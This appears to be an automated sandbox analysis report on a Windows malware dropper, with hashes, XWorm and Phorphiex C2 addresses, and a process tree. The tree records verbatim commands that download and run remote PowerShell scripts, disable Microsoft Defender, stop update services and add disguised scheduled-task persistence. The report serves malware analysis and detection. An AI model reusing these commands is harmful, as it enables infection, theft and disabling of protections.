Analysis

  • max time kernel
    116s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-10-2024 19:01

Errors

Reason
Machine shutdown

General

  • Target

    4363463463464363463463463.exe

  • Size

    10KB

  • MD5

    2a94f3960c58c6e70826495f76d00b85

  • SHA1

    e2a1a5641295f5ebf01a37ac1c170ac0814bb71a

  • SHA256

    2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

  • SHA512

    fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f

  • SSDEEP

    192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/43a1723/test/refs/heads/main/shellcode/loaderclient.ps1

Extracted

Family

xworm

Version

5.0

C2

110.164.203.191:7000

Mutex

AExowENWrg3jY19C

Attributes
  • Install_directory

    %Temp%

  • install_file

    windows32.exe

aes.plain

Extracted

Family

phorphiex

C2

http://185.215.113.84

Extracted

Family

xworm

Attributes
  • install_file

    wintousb.exe

Signatures

  • Detect Xworm Payload 3 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex family
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Redline family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 22 IoCs
  • Loads dropped DLL 44 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 17 IoCs
  • Suspicious use of SendNotifyMessage 17 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3348
      • C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
        "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2664
        • C:\Users\Admin\AppData\Local\Temp\Files\LummaC2.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\LummaC2.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3480
        • C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
          3⤵
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of AdjustPrivilegeToken
          PID:4608
        • C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5116
          • C:\Windows\sysppvrdnvs.exe
            C:\Windows\sysppvrdnvs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4900
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2496
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4816
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4976
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2920
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4868
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:1232
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2932
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS /wait
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:448
            • C:\Users\Admin\AppData\Local\Temp\667532329.exe
              C:\Users\Admin\AppData\Local\Temp\667532329.exe
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2336
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3688
                • C:\Windows\system32\reg.exe
                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                  7⤵
                    PID:3124
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4388
                  • C:\Windows\system32\schtasks.exe
                    schtasks /delete /f /tn "Windows Upgrade Manager"
                    7⤵
                      PID:4728
                • C:\Users\Admin\AppData\Local\Temp\776723694.exe
                  C:\Users\Admin\AppData\Local\Temp\776723694.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:5004
                • C:\Users\Admin\AppData\Local\Temp\601415316.exe
                  C:\Users\Admin\AppData\Local\Temp\601415316.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2340
                  • C:\Users\Admin\AppData\Local\Temp\2578611513.exe
                    C:\Users\Admin\AppData\Local\Temp\2578611513.exe
                    6⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:5076
                • C:\Users\Admin\AppData\Local\Temp\97196632.exe
                  C:\Users\Admin\AppData\Local\Temp\97196632.exe
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1880
            • C:\Users\Admin\AppData\Local\Temp\Files\installs.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\installs.exe"
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4072
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
                4⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1756
              • C:\Users\Admin\AppData\Local\Temp\Files\installs.exe
                C:\Users\Admin\AppData\Local\Temp\Files\installs.exe
                4⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:3760
            • C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:3812
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                4⤵
                • System Location Discovery: System Language Discovery
                PID:2712
            • C:\Users\Admin\AppData\Local\Temp\Files\winn.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\winn.exe"
              3⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3204
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Files\winn.exe' -Force
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:4288
            • C:\Users\Admin\AppData\Local\Temp\Files\Edge.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\Edge.exe"
              3⤵
              • Executes dropped EXE
              PID:3532
              • C:\Users\Admin\AppData\Local\Temp\Edge.exe
                "C:\Users\Admin\AppData\Local\Temp\Edge.exe"
                4⤵
                • Executes dropped EXE
                PID:1784
            • C:\Users\Admin\AppData\Local\Temp\Files\iupdate.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\iupdate.exe"
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of SetWindowsHookEx
              PID:1544
            • C:\Users\Admin\AppData\Local\Temp\Files\cryyy.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\cryyy.exe"
              3⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              PID:3636
            • C:\Users\Admin\AppData\Local\Temp\Files\stub.exe
              "C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"
              3⤵
              • Executes dropped EXE
              PID:1904
              • C:\Users\Admin\AppData\Local\Temp\Files\stub.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\stub.exe"
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2036
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c mshta vbscript:CreateObject("WScript.Shell").Run("powershell -command ""iwr('https://raw.githubusercontent.com/43a1723/test/main/download.ps1') | iex""",0)(window.close)
                  5⤵
                    PID:3188
                    • C:\Windows\system32\mshta.exe
                      mshta vbscript:CreateObject("WScript.Shell").Run("powershell -command ""iwr('https://raw.githubusercontent.com/43a1723/test/main/download.ps1') | iex""",0)(window.close)
                      6⤵
                      • Checks computer location settings
                      PID:1272
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "iwr('https://raw.githubusercontent.com/43a1723/test/main/download.ps1') | iex"
                        7⤵
                        • Blocklisted process makes network request
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4248
                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tdgturfp\tdgturfp.cmdline"
                          8⤵
                            PID:2504
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF79A.tmp" "c:\Users\Admin\AppData\Local\Temp\tdgturfp\CSC4F051FBCE1C54DEAABD2B684632A4B7.TMP"
                              9⤵
                                PID:2624
                            • C:\Windows\system32\attrib.exe
                              "C:\Windows\system32\attrib.exe" +h +s C:\ProgramData\Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}
                              8⤵
                              • Views/modifies file attributes
                              PID:3852
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I'E'X((New-Object Net.Webclient)."DowNloAdSTRiNg"('https://raw.githubusercontent.com/43a1723/test/refs/heads/main/shellcode/loaderclient.ps1'))
                              8⤵
                              • Blocklisted process makes network request
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of SetWindowsHookEx
                              PID:1800
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                                9⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:4504
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                                9⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:4048
                            • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updated.scr
                              "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updated.scr" /S
                              8⤵
                              • Executes dropped EXE
                              PID:2416
                              • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updated.scr
                                "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updated.scr" /S
                                9⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                PID:3128
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c mshta vbscript:CreateObject("WScript.Shell").Run("powershell -command ""iwr('https://raw.githubusercontent.com/43a1723/test/main/download.ps1') | iex""",0)(window.close)
                                  10⤵
                                    PID:2228
                                    • C:\Windows\system32\mshta.exe
                                      mshta vbscript:CreateObject("WScript.Shell").Run("powershell -command ""iwr('https://raw.githubusercontent.com/43a1723/test/main/download.ps1') | iex""",0)(window.close)
                                      11⤵
                                      • Checks computer location settings
                                      PID:1584
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "iwr('https://raw.githubusercontent.com/43a1723/test/main/download.ps1') | iex"
                                        12⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:3764
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updated.scr'"
                                    10⤵
                                      PID:2280
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updated.scr'
                                        11⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:2428
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2"
                                      10⤵
                                        PID:1796
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                          11⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          PID:2612
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                        10⤵
                                          PID:3596
                                          • C:\Windows\system32\tasklist.exe
                                            tasklist /FO LIST
                                            11⤵
                                            • Enumerates processes with tasklist
                                            PID:2220
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                          10⤵
                                            PID:1160
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic csproduct get uuid
                                              11⤵
                                                PID:1472
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\stub.exe'"
                                    5⤵
                                      PID:2700
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\stub.exe'
                                        6⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1740
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2"
                                      5⤵
                                        PID:4728
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                          6⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:2896
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                        5⤵
                                          PID:1012
                                          • C:\Windows\system32\tasklist.exe
                                            tasklist /FO LIST
                                            6⤵
                                            • Enumerates processes with tasklist
                                            PID:760
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                          5⤵
                                            PID:4696
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic csproduct get uuid
                                              6⤵
                                                PID:3604
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
                                        2⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3316
                                      • C:\Windows\System32\schtasks.exe
                                        C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
                                        2⤵
                                          PID:4952
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
                                          2⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:3656
                                        • C:\Windows\System32\conhost.exe
                                          C:\Windows\System32\conhost.exe
                                          2⤵
                                            PID:2652
                                          • C:\Windows\System32\dwm.exe
                                            C:\Windows\System32\dwm.exe
                                            2⤵
                                            • Suspicious use of FindShellTrayWindow
                                            • Suspicious use of SendNotifyMessage
                                            PID:4896
                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
                                            2⤵
                                              PID:4720
                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
                                              2⤵
                                                PID:3812
                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
                                                2⤵
                                                  PID:4216
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
                                                  2⤵
                                                    PID:2400
                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
                                                    2⤵
                                                      PID:1844
                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
                                                      2⤵
                                                        PID:1776
                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
                                                        2⤵
                                                          PID:2796
                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
                                                          2⤵
                                                            PID:1084
                                                        • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
                                                          "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
                                                          1⤵
                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                          • Executes dropped EXE
                                                          • Suspicious use of SetThreadContext
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:5008

                                                        Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                          Filesize

                                                          3KB

                                                          MD5

                                                          fee026663fcb662152188784794028ee

                                                          SHA1

                                                          3c02a26a9cb16648fad85c6477b68ced3cb0cb45

                                                          SHA256

                                                          dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b

                                                          SHA512

                                                          7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6

                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\installs.exe.log

                                                          Filesize

                                                          1KB

                                                          MD5

                                                          7e88081fcf716d85992bb3af3d9b6454

                                                          SHA1

                                                          2153780fbc71061b0102a7a7b665349e1013e250

                                                          SHA256

                                                          5ffb4a3ea94a6a53c4f88e2191c6fec5fd8a7336e367aa113fe8c12631e0c4d2

                                                          SHA512

                                                          ec606e14367ae221c04f213a61a6f797034495121198e4788e3afa4aa8db67bf59c5c5210a56afae5557158e8923b013b371b84c7d64303618c5b4c57a2224f7

                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                          Filesize

                                                          2KB

                                                          MD5

                                                          968cb9309758126772781b83adb8a28f

                                                          SHA1

                                                          8da30e71accf186b2ba11da1797cf67f8f78b47c

                                                          SHA256

                                                          92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

                                                          SHA512

                                                          4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\UV4TX9UP\1[1]

                                                          Filesize

                                                          108KB

                                                          MD5

                                                          1fcb78fb6cf9720e9d9494c42142d885

                                                          SHA1

                                                          fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

                                                          SHA256

                                                          84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

                                                          SHA512

                                                          cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                          Filesize

                                                          53KB

                                                          MD5

                                                          06ad34f9739c5159b4d92d702545bd49

                                                          SHA1

                                                          9152a0d4f153f3f40f7e606be75f81b582ee0c17

                                                          SHA256

                                                          474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

                                                          SHA512

                                                          c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                          Filesize

                                                          18KB

                                                          MD5

                                                          dcb86cf839f65ba6fc785e705606cd3e

                                                          SHA1

                                                          d3d599c4614eca04a7c8814e975a4793696f5fbc

                                                          SHA256

                                                          a3965f64d87bcf3ec13e22bdc48cfbf02a2938082680e0c9d0e60581750c615f

                                                          SHA512

                                                          ec1c7aef12f3c87757badf26530d8aa876cc0843666abf03634569bda2b42fd009d4230bb52ec917589cf072992d36c8a1b25355f7ec9a2515431d2bf9c2c61d

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                          Filesize

                                                          16KB

                                                          MD5

                                                          f8488e816eb0c616349de83a93c9285d

                                                          SHA1

                                                          1a6c841a7a37eb29dc262ad4e4625314cf6602d9

                                                          SHA256

                                                          6f605eea33ca9e2105234f62e4f11539a32d0d30667c3a1de236965c9a704f75

                                                          SHA512

                                                          6a6c596d95bd100de9ff78d5b25bc9b68341f905781972a331d3219939013b3e11270ef19d137dd153d314636813740d2b3b514b9b15902f9d12453f7947dd9a

                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

